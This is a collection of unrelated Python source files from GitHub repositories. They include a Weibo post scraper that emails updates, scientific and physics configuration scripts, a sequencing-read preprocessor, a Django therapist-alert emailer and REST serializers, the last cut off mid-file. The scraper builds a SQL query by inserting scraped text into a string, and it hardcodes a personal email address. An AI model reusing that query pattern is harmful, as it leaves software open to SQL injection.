')\n create_time_list = re.findall(pattern, data)\n\n for i in range(len(create_time_list)):\n soup = BeautifulSoup(create_time_list[i], 'html.parser')\n row = soup.find_all('a')[0]\n marker = row.get('href').split('?')[0]\n marker_is_exists = self.db.select(\n \"select marker from news_his where marker='%s' limit 1;\" % marker)\n if(len(marker_is_exists) == 0):\n create_date = row.get('title')\n create_time = row.get('date')\n if (time.time()-int(create_time)/1000)/(24*3600) > 5:\n continue\n url = \"https://weibo.com\"+row.get('href')\n content = self.getDetail(url)\n html = '''\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n
发布时间{}
原文链接原文链接
内容{}
\n
\n '''.format(create_date, url, content)\n is_send = sendEmail(html, name)\n # is_send = 1\n if(is_send):\n self.db.add(\n [(marker, url, create_date, json.dumps(content))])\n\n def getDetail(self, url):\n '''[summary]\n\n [description]\n\n Arguments:\n url {[type]} -- [description]\n '''\n req = urllib.request.Request(url, headers=self.send_headers)\n response = urllib.request.urlopen(req)\n data = response.read().decode('utf-8')\n data = re.sub(r'\\\\n', '', data)\n data = re.sub(r'\\\\t', '', data)\n data = re.sub(r'\\\\r', '', data)\n data = re.sub(r'\\\\', '', data)\n pattern = re.compile(\n '
\\s*?
')\n content = re.search(pattern, data).group()\n\n pattern = re.compile('
    \\s*?
')\n imgbox_is_exists = re.search(pattern, data)\n imgbox = ''\n if(imgbox_is_exists):\n soup = BeautifulSoup(imgbox_is_exists.group(), 'html.parser')\n row = soup.find_all('ul')[0]\n actData = row.get('action-data')\n if(actData != None):\n actDataList = actData.split('&')\n for i in actDataList:\n if(i.find(\"clear_picSrc\") != -1):\n imgurl = i.split(\"=\")[1].split(\",\")\n imgbox = ''\n for j in imgurl:\n imgurl = \"http:\"+j.replace(\"%2F\", '/')\n imgbox += \"\".format(imgurl)\n return content+imgbox\n\n\ndef sendEmail(html, name, receivers=env(\"receivers\")):\n '''[summary]\n\n [description]\n '''\n # 第三方 SMTP 服务\n mail_host = \"smtp.qq.com\" # 设置服务器\n mail_user = env(\"mail_user\") # 用户名\n mail_pass = env(\"mail_pass\") # 口令\n\n sender = env(\"sender\")\n\n message = MIMEText(html, 'html', 'utf-8')\n message['From'] = Header(\"新浪微博更新监控\", 'utf-8')\n # message['To'] = Header(\"使用者\", 'utf-8')\n\n subject = '<{}>提醒'.format(name)\n message['Subject'] = Header(subject, 'utf-8')\n try:\n server = smtplib.SMTP_SSL(\"smtp.qq.com\", 465) # 发件人邮箱中的SMTP服务器,端口是25\n server.login(sender, mail_pass) # 括号中对应的是发件人邮箱账号、邮箱密码\n server.sendmail(sender, receivers, message.as_string())\n print('邮件发送成功')\n return True\n except smtplib.SMTPException:\n print('邮件发送失败')\n return False\n\n\nclass mysql():\n \"\"\"docstring for mysql\"\"\"\n\n def __init__(self):\n host = env(\"hosts\")\n pwd = env(\"db_pwd\")\n usr = env(\"db_usr\")\n database = env(\"db_name\")\n try:\n self.db = pymysql.connect(host, usr, pwd, database, charset=\"utf8\")\n except Exception as e:\n print(e)\n exit()\n self.cursor = self.db.cursor()\n\n def select(self, sql):\n try:\n # 执行SQL语句\n self.cursor.execute(sql)\n # 获取所有记录列表\n results = self.cursor.fetchall()\n col_name_list = [tuple[0] for tuple in self.cursor.description]\n data = [{col_name_list[j]:results[i][j]\n for j in range(len(col_name_list))} for i in range(len(results))]\n return data\n except:\n print(\"Error: unable to fetch data\")\n\n def add(self, dicts):\n if(isinstance(dicts, list) == False):\n print('数据必须是列表')\n return False\n sql = \"INSERT INTO news_his (marker,url,create_time,content) values (%s,%s,%s,%s);\"\n try:\n self.cursor.executemany(sql, dicts)\n self.db.commit()\n except:\n self.db.rollback()\n\n def __del__(self):\n self.db.close()\n\n\nif __name__ == '__main__':\n try:\n urlList = mysql().select('select * from url_list')\n for i in urlList:\n conllection(i['url'], i['name'])\n except Exception as e:\n traceback.print_exc()\n html = '''\n
\n \n \n \n \n \n \n \n \n \n
时间{}
异常信息{}
\n
\n '''.format(datetime.datetime.now(), str(e))\n sendEmail(html, '脚本异常', '1837461054@qq.com')\n","repo_name":"yuan1115/NewsUpdateReminder","sub_path":"collection.py","file_name":"collection.py","file_ext":"py","file_size_in_byte":8010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"20128252018","text":"\"\"\"\nDraws a cubic volume using the nogrid volume renderer\n\"\"\"\n\nfrom math import sqrt\nimport numpy as np\nimport gr\n\ndata = np.zeros((10, 10, 10, 4))\nfor i in range(10):\n for j in range(10):\n for k in range(10):\n data[i, j, k] = (i, j, k, 1)\n\ngr.setwindow3d(0, 10, 0, 10, 0, 10)\ngr.setspace3d(20, 45, 0, 0)\ngr.setcolormap(gr.COLORMAP_VIRIDIS)\ngr.volume_interp_tri_linear_init(1, 1, 1)\ngr.volume_nogrid(data.reshape(10 * 10 * 10, 4), gr.VOLUME_EMISSION, \"trilinear\", sqrt(3.))\n","repo_name":"sciapp/python-gr","sub_path":"examples/volume_nogrid.py","file_name":"volume_nogrid.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"61"} +{"seq_id":"12247472127","text":"#!/usr/bin/env python\n# File created on 30 Jul 2012\nfrom __future__ import division\n\n__author__ = \"Greg Caporaso\"\n__copyright__ = \"Copyright 2011, The QIIME project\"\n__credits__ = [\"Greg Caporaso\"]\n__license__ = \"GPL\"\n__version__ = \"1.5.0-dev\"\n__maintainer__ = \"Greg Caporaso\"\n__email__ = \"gregcaporaso@gmail.com\"\n__status__ = \"Development\"\n\nfrom cmd_abstraction.util import cmd_main\nfrom cmd_abstraction.interfaces import PickOtusThroughOtuTable\nfrom sys import argv\n\ncmd = PickOtusThroughOtuTable()\nscript_info = cmd.getScriptInfo()\nif __name__ == \"__main__\":\n cmd_main(cmd,argv)","repo_name":"caporaso-lab-graveyard/cmd-abstraction","sub_path":"scripts/pick_otus_through_otu_table.py","file_name":"pick_otus_through_otu_table.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"71102349633","text":"from AthenaConfiguration.ComponentAccumulator import ComponentAccumulator\nfrom AthenaConfiguration.ComponentFactory import CompFactory\n\ndef PhysValMETCfg(flags, **kwargs):\n acc = ComponentAccumulator()\n\n kwargs.setdefault(\"EnableLumi\", False)\n kwargs.setdefault(\"DetailLevel\", 10)\n kwargs.setdefault(\"DoTruth\", flags.Input.isMC)\n\n kwargs.setdefault(\"JVTToolEMTopo\", CompFactory.JetVertexTaggerTool(name=\"JVTToolEMTopo\",\n JetContainer=\"AntiKt4EMTopoJets\") )\n kwargs.setdefault(\"JVTToolEMPFlow\", CompFactory.JetVertexTaggerTool(name=\"JVTToolPFlow\",\n JetContainer=\"AntiKt4EMPFlowJets\") )\n\n from METUtilities.METMakerConfig import getMETMaker\n # for EMTopo jets no NNJvt is calculated so we need to fall back to Jvt (re-calculated in MissingEtDQA::PhysValMET as \"NewJvt\")\n kwargs.setdefault(\"METMakerTopo\", getMETMaker(name=\"METMaker_AntiKt4Topo\",\n JetSelection=\"Loose\",\n UseR21JvtFallback=True,\n JetJvtMomentName=\"NewJvt\",\n DoPFlow=False) )\n kwargs.setdefault(\"METMakerPFlow\", getMETMaker(name=\"METMaker_AntiKt4PFlow\",\n JetSelection=\"Loose\",\n DoPFlow=True) )\n\n from METUtilities.METMakerConfig import getMuonSelectionTool, getEleSelLikelihood, getPhotonSelIsEM, getTauSelectionTool\n kwargs.setdefault(\"MuonSelectionTool\", getMuonSelectionTool())\n kwargs.setdefault(\"ElectronLHSelectionTool\", getEleSelLikelihood())\n kwargs.setdefault(\"PhotonIsEMSelectionTool\", getPhotonSelIsEM())\n kwargs.setdefault(\"TauSelectionTool\", getTauSelectionTool())\n\n from AthenaConfiguration.AutoConfigFlags import GetFileMD\n metadata = GetFileMD(flags.Input.Files)\n isDAOD_PHYSVAL=False\n for class_name, name in metadata['metadata_items'].items():\n if name == 'EventStreamInfo':\n if \"DAOD_PHYSVAL\" in class_name :\n print (\"Running on DAOD_PHYSVAL - will not add TTVA decorations.\")\n isDAOD_PHYSVAL=True\n break\n kwargs.setdefault(\"InputIsDAOD\", isDAOD_PHYSVAL)\n\n kwargs.setdefault(\"DoMETRefPlots\", \"xAOD::MissingETContainer#MET_Reference_AntiKt4EMTopo\" in flags.Input.TypedCollections)\n\n tool = CompFactory.MissingEtDQA.PhysValMET(**kwargs)\n acc.setPrivateTools(tool)\n return acc\n","repo_name":"Yusuf-Manjra/athena","sub_path":"PhysicsAnalysis/JetMissingEtID/MissingEtDQA/python/MissingEtDQAConfig.py","file_name":"MissingEtDQAConfig.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24567524171","text":"# -*- coding: utf-8 -*-\nfrom codecs import open\nfrom os import path\n\nfrom setuptools import setup\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='xml2xlsx',\n version='1.0.1',\n description='XML to XLSX converter',\n long_description=long_description,\n url='https://github.com/marrog/xml2xlsx',\n author='Piotr Kaczyński',\n author_email='pkaczyns@gmail.com',\n license='MIT',\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n ],\n keywords='xml lxml xlsx development',\n packages=['xml2xlsx'],\n install_requires=['lxml>=3.6', 'openpyxl>=2.4.7,<2.5', 'six>=1.10'],\n test_requires=['nose', 'tox', 'coverage'],\n entry_points={\n 'console_scripts': ['xml2xlsx=xml2xlsx.command_line:main'],\n },\n zip_safe=False,\n)\n","repo_name":"pkaczynski/xml2xlsx","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"19195185228","text":"import pandas as pd\nfrom Bio import SeqIO\nimport os\nfrom configs import FileConfig, RunConfig\nimport regex\nfrom functions import reverse_complement\nfrom pprint import pprint\n\n\ndef preprocessing(runconfig: RunConfig, fileconfig: FileConfig):\n\n filename = fileconfig.file_path\n sample_name = filename.split('/')[1].split('_')[0]\n barcodes = runconfig.barcodes.dict()\n primers = runconfig.primers.dict()\n original_seq = runconfig.original_seq\n ref_seq = runconfig.ref_seq\n ref_seq_prefix = ref_seq[10:21]\n ref_seq_postfix = ref_seq[-16:-5]\n\n prefix_regex = f'({ref_seq_prefix})' + '{e<=1}' #regex keresett string szekvencia \"(vmi szekvencia){ tolerált hibák}\" itt max1 (s szbsz d del i ins összeadott stringek )\n postfix_regex = f'({ref_seq_postfix})' + '{e<=1}'\n start = regex.search(prefix_regex, ref_seq).end() #kivágandó seq eleje vége\n end = regex.search(postfix_regex, ref_seq).start()\n expected = len(ref_seq[start:end]) # milen hosszú terméket várok\n\n odir = fileconfig.out_dir # output directory\n os.makedirs(odir, exist_ok=True)\n\n report = {} # dictionary ide kimentve info\n\n overall = 0\n all_strange = 0\n for bc in barcodes.keys(): # key szekvencia barkodonként végig a readeken\n all, strange, matching, cropped, no_indel, indel = 0, 0, 0, 0, 0, 0\n outname = barcodes[bc]\n matching_length_seq = []\n indel_seq = []\n forward_primer_regex = f'({primers[\"forward\"]})' + '{s<=1,d<=1,i<=1}' # ezen belül mert a barcode specifikus\n reverse_primer_regex = f'({primers[\"reverse\"]})' + '{s<=1,d<=1,i<=1}'\n forward_barcode_regex = f'({bc})' + '{s<=1}'\n reverse_barcode_regex = f'({reverse_complement(bc)})' + '{s<=1}'\n original_seq_regex = f'({original_seq})' + '{s<=1,d<=1,i<=1}'\n original_seq_reverse_regex = f'({reverse_complement(original_seq)})' + '{s<=1,d<=1,i<=1}'\n prefix_regex = f'({ref_seq_prefix})' + '{s<=1,d<=1,i<=1}' \n postfix_regex = f'({ref_seq_postfix})' + '{s<=1,d<=1,i<=1}'\n print(f\"Processing {barcodes[bc]} sample.\")\n\n for rec in SeqIO.parse(filename, \"fastq\"): # ez olvassa ba\n all += 1 # 0tól kezdődne\n forward_matches = regex.findall(forward_barcode_regex, str(rec.seq[0:13])) # benne van e az első és utolsó 12 karakterben a fw és rev primer\n reverse_matches = regex.findall(reverse_barcode_regex, str(rec.seq[-12::]))\n condition1 = len(forward_matches) > 0 # megtalálta e legalább 1 szer\n condition2 = len(reverse_matches) > 0\n if condition1 and condition2:\n matching += 1 # megvan e a matching\n if bool(regex.search(forward_primer_regex, str(rec.seq))): # fw revmegvan és benne van e az eredeti ligálás előtti szekvencia - az original kihagyva\n if not bool(regex.search(original_seq_regex, str(rec.seq))):\n rec = rec\n else:\n continue\n elif bool(regex.search(reverse_primer_regex, str(rec.seq))):\n if not bool(regex.search(original_seq_reverse_regex, str(rec.seq))):\n rec = rec.reverse_complement(id=\"rc_\"+rec.id, description=\"reverse complement\")\n else:\n continue\n else:\n strange += 1\n continue\n\n if bool(regex.search(original_seq_regex, str(rec.seq))): # klónozás nélkülit kihagyni \n continue\n\n condition3 = bool(regex.search(prefix_regex, str(rec.seq))) # post prefix meg van e ha igen akko +1 \n condition4 = bool(regex.search(postfix_regex, str(rec.seq)))\n\n if condition3 and condition4:\n cropped += 1\n start = regex.search(prefix_regex, str(rec.seq)).end()\n end = regex.search(postfix_regex, str(rec.seq)).start() # \n\n rec_final = rec[start:end] # ezt kivágni a rekordból és \n\n if len(rec_final.seq) == expected: # várt hosszúságú -e \n no_indel += 1\n matching_length_seq.append(rec_final)\n else:\n indel += 1 \n indel_seq.append(rec_final) # ha nem egyenlő hsszú belekerül az indel listába ezzel nem foglalkoztunk \n\n SeqIO.write(matching_length_seq, os.path.join(odir, (outname + \"_matching_length.fastq\")), \"fastq\") # kiírni mind2 filet\n SeqIO.write(matching_length_seq, os.path.join(odir, (outname + \"_indels.fastq\")), \"fastq\")\n\n overall += matching/all*100\n all_strange += strange/all*100\n\n report[barcodes[bc]] = { # reportot csinálni barcodes bc ez a sample neve hozzáadja adictionaryy key sample name vol\n 'number of matching barcodes': matching,\n '% of matching barcodes': round(matching/all*100, 2),\n 'number of strange sequences': strange,\n '% of strange sequences': round(strange/all*100, 2),\n 'number of cropped sequences': cropped,\n '% of cropped sequences in corresponding samples': round(cropped/matching*100, 2),\n 'number of matching length reads': no_indel,\n '% matching length in cropped': round(no_indel/cropped*100, 2),\n 'number of reads with indels': indel,\n '% indels in cropped': round(indel / cropped * 100, 2)\n }\n\n print(f'Preprocessed finished with {round(overall,2)}% matching and {round(all_strange, 2)}% '\n f'macthing but strange sequences.')\n print('Preprocessing finished.')\n\n pprint(report)\n\n report_path = os.path.join(odir, f'{sample_name}_report.csv') # ith path alapján reportot kimenti pandas df-et csinál\n df = pd.DataFrame(report)\n df.to_csv(report_path)\n\n \n","repo_name":"bogsarab/amplicon_sequencing_analysis","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":5932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3382544785","text":"import json\n\nfrom loguru import logger\n\nfrom app.models import CargoType\n\n\nasync def load_tariff_to_db(filename): # Функция загрузки тарифов в БД\n with open(filename, 'r') as file:\n tariff = json.load(file)\n\n for date, tariff_data_list in tariff.items():\n for tariff_data in tariff_data_list:\n cargo_type = tariff_data['cargo_type']\n rate = tariff_data['rate']\n try:\n await CargoType.get_or_create(name=cargo_type, rate=rate, date=date) # Сохранение тарифа в БД\n except Exception as e:\n logger.error(f\"Error creating tariff: {e}\")\n","repo_name":"meyiapir/InsuranceAPI","sub_path":"app/tariff_loader.py","file_name":"tariff_loader.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71324420676","text":"# 1.1 extra part of Task-1\ndef printList(sampleList):\n newList=[]\n for element in sampleList:\n if element < 5:\n newList.append(element)\n return(newList)\n \nsampleList = [1,1,2,3,5,8,13,21,34,55,89]\nprint(\"Elements less than 5 are:\")\nprint(printList(sampleList))\n","repo_name":"ghulamghousdev/Python-Tasks","sub_path":"Assignment 1/Part 3/Task-1.1.py","file_name":"Task-1.1.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17270401398","text":"\"\"\"Added year_founded to company\n\nRevision ID: a1db6d2e45c3\nRevises: \nCreate Date: 2023-01-23 19:28:36.438415\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'a1db6d2e45c3'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('companies', sa.Column('year_founded', sa.String(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('companies', 'year_founded')\n # ### end Alembic commands ###\n","repo_name":"denis-meshcheryakov/lp_DB","sub_path":"DB_4_migration/migrations/versions/a1db6d2e45c3_added_year_founded_to_company.py","file_name":"a1db6d2e45c3_added_year_founded_to_company.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73813283715","text":"# Given a two dimensional array of 0 and 1s, return an array of the sizes of all\n# rivers contained within the input matrix.\n\n# A river consists of any number of 1s either horizontally or vertically adjacent.\n# The number of adjacent 1s forming a river determine its size.\n\n\ndef river_sizes(matrix):\n rows, cols = range(len(matrix)), range(len(matrix[0]))\n sizes = []\n visited = set()\n\n def dfs(row, col, visited, matrix):\n if (\n row not in rows\n or col not in cols\n or (row, col) in visited\n or matrix[row][col] != 1\n ):\n return 0\n\n visited.add((row, col))\n size = 0\n\n neighbors = [(0, 1), (0, -1), (1, 0), (-1, 0)]\n\n for x, y in neighbors:\n size += dfs(row + x, col + y, visited, matrix)\n\n return size + 1\n\n for row in rows:\n for col in cols:\n if (row, col) not in visited and matrix[row][col] == 1:\n size = dfs(row, col, visited, matrix)\n sizes.append(size)\n\n return sizes\n","repo_name":"max-allen/algorithms_workbook","sub_path":"graphs/river_sizes.py","file_name":"river_sizes.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26719346570","text":"#!/usr/bin/env python3\n\n\nimport sys\nfrom tqdm import tqdm\nimport re\nfrom math import floor, ceil\nimport numpy as np\nimport pandas as pd\nfrom scipy.ndimage.measurements import label\nfrom heapq import heappush, heappop\nnp.set_printoptions(edgeitems=200, linewidth=100000)\nfrom numpy import rot90, array\nimport matplotlib.pyplot as plt\n\n\n\nalg = []\nimage = []\n\nwith open(sys.argv[1], 'r') as f:\n for l in f:\n row = [x == '#' for x in list(l.strip())]\n image.append(row)\n\nwith open(sys.argv[2], 'r') as f:\n for l in f:\n alg = [x == '#' for x in list(l.strip())]\n break\n\nimage = np.array(image)\nalg=np.array(alg)\nprint(image*1)\nprint(image.shape)\nprint(alg*1)\nprint(alg.shape)\n\n\ndef index(a, p=False):\n pot = 2 ** np.arange(len(a) - 1, -1, -1)\n idx = np.sum(pot*a)\n if p:\n print(f'{np.array(a)*1} {pot*a} {idx}')\n return idx\n\nimg = np.zeros((image.shape[0]*3,image.shape[1]*3))\nprint(img.shape)\nimg = img == 1\nxbd = [image.shape[0]*1, 2 * image.shape[0]]\nybd = [image.shape[1]*1, 2 * image.shape[1]]\nimg[xbd[0]:xbd[1],ybd[0]:ybd[1]] = image\n\nres = np.zeros(img.shape)\nres = res == 1\nprint(img[xbd[0]:xbd[1],ybd[0]:ybd[1]]*1)\nprint('be patient, this takes a while')\nfor it in np.arange(1,51):\n ad = np.array([-6, 6])\n\n# xbd += ad\n# ybd += ad\n xbd = [0, img.shape[0]]\n ybd = [0, img.shape[1]]\n\n\n for x in range(xbd[0], xbd[1]):\n for y in range(ybd[0], ybd[1]):\n val = []\n for xoff in [-1, 0, 1]:\n for yoff in [-1, 0, 1]:\n xidx = x+xoff\n # we intentionally wrap around to simulate an infinite image\n if xidx >= img.shape[0]:\n xidx = -1\n yidx = y+yoff\n if yidx >= img.shape[1]:\n yidx = -1\n # print(f'{xoff}, {yoff}')\n # print(f'{x+xoff}, {y+yoff}')\n val.append(img[xidx, yidx])\n #if x == 12:\n # al = alg[index(val, True)]\n # print(f'{x} {y} {al}')\n #else:\n al = alg[index(val)]\n res[x, y] = al\n img= np.copy(res)\n res = np.zeros(img.shape)\n res = res == 1\n print(f'{it} count {np.sum(img)}')\n #print(img[xbd[0]:xbd[1],ybd[0]:ybd[1]]*1)\n\n\n#print(img[xbd[0]-10:xbd[1]+10,ybd[0]-10:ybd[1]+10]*1)\n#print(img*1)\nprint(f'solution {np.sum(img)}')\n","repo_name":"thpe/adventofcode21","sub_path":"20/solver1.py","file_name":"solver1.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27972297401","text":"from django.core.mail import send_mail, EmailMessage\nfrom django.utils.html import strip_tags\nfrom django.core.mail import send_mail\nfrom .models import ChatResponse\nfrom user.models import User\nfrom datetime import datetime\nfrom decouple import config\nimport cloudinary\nimport cloudinary.uploader\nimport csv\nimport os\nimport requests\n\ncloudinary.config( \n cloud_name = config('CLOUD_NAME'), \n api_key = config('API_KEY'), \n api_secret = config('API_SECRET') \n)\n\n\ndef create_csv(username):\n queryset = ChatResponse.objects.filter(user=User.objects.get(username=username))\n print(queryset[0].response)\n filename = f\"data_{username}.csv\"\n file_path = os.path.join(\"csv_files\", filename).replace(\"\\\\\", \"/\")\n file_exists = os.path.isfile(file_path)\n current_timestamp = datetime.now().strftime('%Y-%m-%d')\n # Create and write data to the CSV file\n with open(file_path, mode='w', newline='') as csv_file:\n writer = csv.writer(csv_file)\n if not file_exists:\n writer.writerow([\"Timestamp\",\"user\",\"prompt\",\"response\"])\n for row in queryset:\n writer.writerow([current_timestamp,username,row.prompt,row.response])\n\n upload_result = cloudinary.uploader.upload(\n file_path, \n resource_type=\"raw\", \n public_id=file_path, \n overwrite=True \n )\n csv_url = upload_result['secure_url']\n return csv_url\n\ndef user_send_mail(username,recipient_mail,code):\n subject = 'Support for Managing Stress'\n user = User.objects.get(username=username)\n user.stress_count = 0\n user.save()\n html_message = f\"\"\"\n \n \n \n \n \n \n Support for Managing Stress\n \n \n

Hello {username},

\n

According to an AI chatbot, it seems I can't solve your problem. Instead, you can talk to a therapist.

\n

We've identified a therapist who can provide you with the support you need:

\n

Therapist: Dr abc xyz

\n

Email: therapistabc@gmail.com

\n

Please feel free to reach out to at therapistabc@gmail.com to schedule an appointment or discuss your concerns. Your mental well-being is important to us, and we're here to assist you on your journey to better mental health.

\n

If you have any questions or need further assistance, please don't hesitate to contact us.

\n

Take care and be well.

\n

You can join the video call using this link localhost:3000/room/{code}

\n

Sincerely,
Mindful Mate

\n \n \n \"\"\"\n \n from_email = config(\"EMAIL_HOST_USER\") # This should be the same as EMAIL_HOST_USER\n recipient_list = [recipient_mail] # Replace with the recipient's email address\n \n # Send the email\n send_mail(\n subject,\n strip_tags(html_message), # Use strip_tags to provide a plain text version as well\n from_email,\n recipient_list,\n html_message=html_message,\n )\n \n \n \ndef send_therapist_email(therapist_email,username,user_email,code):\n subject = f'User Alert ({username}): Increased Chatbot Usage and problem is not solved'\n csv_url = create_csv(username)\n # print(create_csv(username))\n # Customized the message using HTML tags\n html_message = f\"\"\"\n \n \n \n \n \n \n User Alert: Increased Chatbot Usage\n \n \n

Dear Therapist,

\n

We would like to bring to your attention that the user {username} (email: {user_email}) is increasingly using the chatbot and has provided the following problem description:

\n

For the problem description we have attached a file having user messages for your reference:

\n \n \n

\n \n \"File Download File\n \n

\n \n

Please consider reaching out to the user to provide assistance as needed.

\n

localhost:3000/room/{code}

\n

Thank you for your support.

\n

Sincerely,
Mindful Mate Support Team

\n \n \n \"\"\"\n from_email = config(\"EMAIL_HOST_USER\") \n recipient_list = [therapist_email] \n send_mail(\n subject,\n strip_tags(html_message),\n from_email,\n recipient_list,\n html_message=html_message,\n )\n\n return csv_url\n\n","repo_name":"DevanshAshar/Kernel-Krushers_TechnoThriveYash","sub_path":"backend/peerchat/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":5212,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"18612394043","text":"import cv2\nimport numpy as np\nfrom matplotlip import pyplot as plt\n\nresim = cv2.imread(\"rise.jpg\")\ngri = cv2.cvtColor(resim, cv2.COLOR_BGR2GRAY)\ne,thresh1= cv2.threshold(gri,120,255, cv2.THRESH_BINARY)\nkernel = np.ones((5,5),np.uint8)\nopening = cv2.morphologyEx(thresh1, cv2.MORPH_OPEN, kernel)\ncont,a=cv2.findContours(opening,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\nrgb = cv2.cvtColor(resim, cv2.COLOR_BGR2RGB)\ncv2.drawContours(rgb,cont,-1,(0,255,0),2)\ncv2.imshow(\"Bınary\",gri)\ncv2.imshow(\"thresh\", thresh1)\ncv2.imshow(\"opening\", opening)\ncv2.imshow(\"cont\", rgb)\nprint(\"pirincsayısı:\",len(cont))\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"nurselakturk/pythonProject1goruntusleme","sub_path":"ödev3/ödev3.py","file_name":"ödev3.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2289952924","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: Carla Guerrero\r\n\"\"\" \r\n\r\nvar1=0\r\nwhile var1!=2:\r\n opc=int(input(\"1. Consultar el tipo de valores predeterminados.\\n2. Consultar el tipo de valores ingresados.\\n3. Separar los datos de una tupla en pares, impares y atípicos.\\n4. Ingresar una contraseña y validar.\\n5. Encontrar los valores más altos y bajos dentro de los valores de un diccionario.\\n6. Salir.\\nEscoja una opción: \"))\r\n \r\n try:\r\n if opc>0 and opc<7:\r\n x=opc/1\r\n else:\r\n x=opc/0\r\n \r\n except:\r\n print(\"Opción inválida.\\nVuelva a ingresar una opción correcta.\")\r\n \r\n else:\r\n if opc==1:\r\n import primermodulo as pm\r\n pm.primerejer()\r\n var1=0\r\n elif opc==2:\r\n import segundomodulo as sm\r\n sm.segundoejer()\r\n var1=0\r\n elif opc==3:\r\n import tercermodulo as tm\r\n tm.tercerejer()\r\n var1=0\r\n elif opc==4:\r\n import cuartomodulo as cm\r\n cm.cuartoejer()\r\n var1=0\r\n elif opc==5:\r\n import quintomodulo as qm\r\n qm.quintoejer()\r\n var1=0\r\n elif opc==6:\r\n var1=2","repo_name":"Carlacegm/Curso-Python-Essentials","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3199901855","text":"from rest_framework import serializers\n\nfrom relations.models import InviteRelationManager\nfrom transaction.models import Package, UserPackageRelation, OrderInfo, UserPackageRecord\nfrom users.models import UserBusiness\nfrom users.serializers import BusinessInfoManagerSerializer\n\n\nclass PackageCommonSerializer(serializers.ModelSerializer):\n \"\"\"\n 套餐包订单用的套餐记录序列化器\n \"\"\"\n class Meta:\n model = Package\n fields = '__all__'\n\n\nclass PackageSerializer(serializers.ModelSerializer):\n \"\"\"\n 套餐包\n \"\"\"\n\n class Meta:\n model = Package\n exclude = ('uid', 'date_updated', 'status', 'date_created')\n\n\nclass MyPackageSerializer(serializers.ModelSerializer):\n \"\"\"\n 个人套餐包详情\n \"\"\"\n expiration_time = serializers.SerializerMethodField()\n\n class Meta:\n model = UserPackageRecord\n exclude = ('package_id', 'date_updated', 'buy_video_num', 'video_num', 'status')\n\n def get_expiration_time(self, obj):\n r_obj = UserPackageRelation.objects.filter(package_id=obj.package_id, uid=self.context['request'].user).first()\n if r_obj:\n return r_obj.expiration_time\n return None\n\n\n# class PackageRecordSerializer(serializers.ModelSerializer):\n# \"\"\"\n# 套餐包订单详情\n# \"\"\"\n# order = serializers.SerializerMethodField()\n#\n# class Meta:\n# model = UserPackageRelation\n# fields = ('order',)\n#\n# def get_order(self, obj):\n# data_dic = {}\n# order_obj = obj.order\n# data_dic['id'] = order_obj.id\n# data_dic['package_title'] = obj.package.package_title\n# data_dic['amount'] = order_obj.amount\n# data_dic['order_num'] = order_obj.out_trade_no\n# data_dic['date_payed'] = order_obj.date_payed\n# return data_dic\n#\n# def to_representation(self, instance):\n# return super().to_representation(instance).get('order')\n\n\nclass OrderInfoSerializer(serializers.ModelSerializer):\n package_title = serializers.SerializerMethodField()\n\n class Meta:\n model = OrderInfo\n fields = ('id', 'amount', 'out_trade_no', 'date_payed', 'package_title')\n\n def get_package_title(self, obj):\n return Package.objects.get(id=obj.parm_id).package_title\n\n\nclass PackageManagerSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Package\n exclude = ('date_updated', 'uid')\n\n\n# class UserPackageRelationManagerSerializer(serializers.ModelSerializer):\n# username = serializers.CharField(source='uid.username')\n# nickname = serializers.CharField(source='uid.auth_base.nickname')\n# package_title 